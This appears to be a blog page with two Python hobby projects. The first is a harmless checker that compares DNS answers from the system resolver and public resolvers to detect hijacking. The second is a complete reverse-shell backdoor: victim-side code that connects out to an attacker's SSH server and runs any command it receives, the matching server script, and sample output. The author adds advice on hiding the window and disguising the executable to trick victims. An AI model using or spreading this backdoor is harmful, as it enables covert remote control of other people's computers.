Python 100 project #27: DNS resolve checker

DNS highjack is a classic direction of the attack. It re-write the routers dns, and as a result all the systems(mobile, PC, basically any) are affected. Time to time, I see this news, so I created a simple dns checker to confirm if specified FQDN(full qualified domain) is resolved both system dns(presuming the system dns is distributed from the router via dhcp) and external dns(this time 1.1.1.1 and 8.8.8.8).

 

Output Example:

$ python3 dns_check.py 'stackoverflow.com'
The same result is returned for stackoverflow.com.
$ python3 dns_check.py 'stackoverflown.com'
!!!There seems problem with stackoverflown.com.!!!

 

Here is the code:

import sys

import dns.resolver

NAMESERVERS = ['1.1.1.1', '8.8.8.8']


def is_resolved_same(fqdn):

    res = dns.resolver.Resolver()

    try:

        sys_resolved_ip = res.query(fqdn)

        ex_resolved_ip = set()
        for ns in NAMESERVERS:
            res.nameservers = [ns]
            ex_resolved_ip.update(list(res.query(fqdn)))

        for rdata in sys_resolved_ip:
            if rdata not in ex_resolved_ip:
                return False

    except:
        return False

    return True


if __name__ == "__main__":

    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} 'fqdn'")
        sys.exit(0)
    if is_resolved_same(sys.argv[1]):
        print(f"The same result is returned for {sys.argv[1]}.")
    else:
        print(f"!!!There seems problem with {sys.argv[1]}.!!!")

 

Python 100 project #25: Remote Command Execution

I like TV shows, especially SciFi genre. In those dramas, hackers uses some special tools to take control of someone’s PCs. It’s very scary, and I’m really worried when I saw the “Shut up and Dance (Black Mirror)“. I’m not worried about something I watch on my PCs, but it’s very uncomfortable if anyone can look at my house through those cameras.

This project is a starting point to know how these attacks can be made. Still it’s very simple, but quite effective.

 

Diagram:

 

Output Example:

On the display, it looks like it’s not doing anything noteworthy. But it makes a connection to the external server and it allows someone to control your PC. Only the thing you need to do on the victim PC is just a click of exe. file. With some more effort, you can hide this command prompt, or you can also make more sophisticated image of (dummy) application to trick the victim.

[ on Victim PC ]

[ on the server ]

# python3 bh_sshserver.py 10.20.254.30 2022
[+] Listening for connection ...
[+] Got a connection!
[+] Authenticated!
b'ClientConnected'
Enter command: ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : EC2AMAZ-1J6P9JB
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : us-east-1.ec2-utilities.amazonaws.com
                                       ec2.internal

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : ec2.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 12-50-04-B4-6A-10
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::39be:13ca:2a9b:a07%3(Preferred) 
   IPv4 Address. . . . . . . . . . . : 172.31.1.232(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Sunday, May 20, 2018 8:06:27 PM
   Lease Expires . . . . . . . . . . : Sunday, May 20, 2018 11:06:2
Enter command: exit
exiting
[-] Caught exception: exit

 

Here is the code:

[ on victim PC ]

import paramiko
import subprocess


def ssh_command(ip, user, passwd, port, command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd, port=port)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024))
        while True:
            command = str(ssh_session.recv(1024),'utf-8')
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception as e:
                ssh_session.send(str(e))
        client.close()
    return


ssh_command('server-ip-address', 'victim-a', 'passw0rd', 2022, 'ClientConnected')

[ on the server ]

import socket
import threading
import paramiko
import sys

host_key = paramiko.RSAKey(filename='data_source/test_rsa.key')


class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED

    def check_auth_password(self, username, password):
        if (username == 'victim-a') and (password == 'passw0rd'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED


server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print("[+] Listening for connection ...")
    client, addr = sock.accept()

except Exception as e:
    print(f"[-] Listen failed: {str(e)}")
    sys.exit(1)

print("[+] Got a connection!")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024))
    chan.send('Welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command: ")
            if command != 'exit':
                chan.send(command)
                print(str(chan.recv(1024),'utf-8'))
            else:
                chan.send('exit')
                print('exiting')
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print(f"[-] Caught exception: {str(e)}")
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)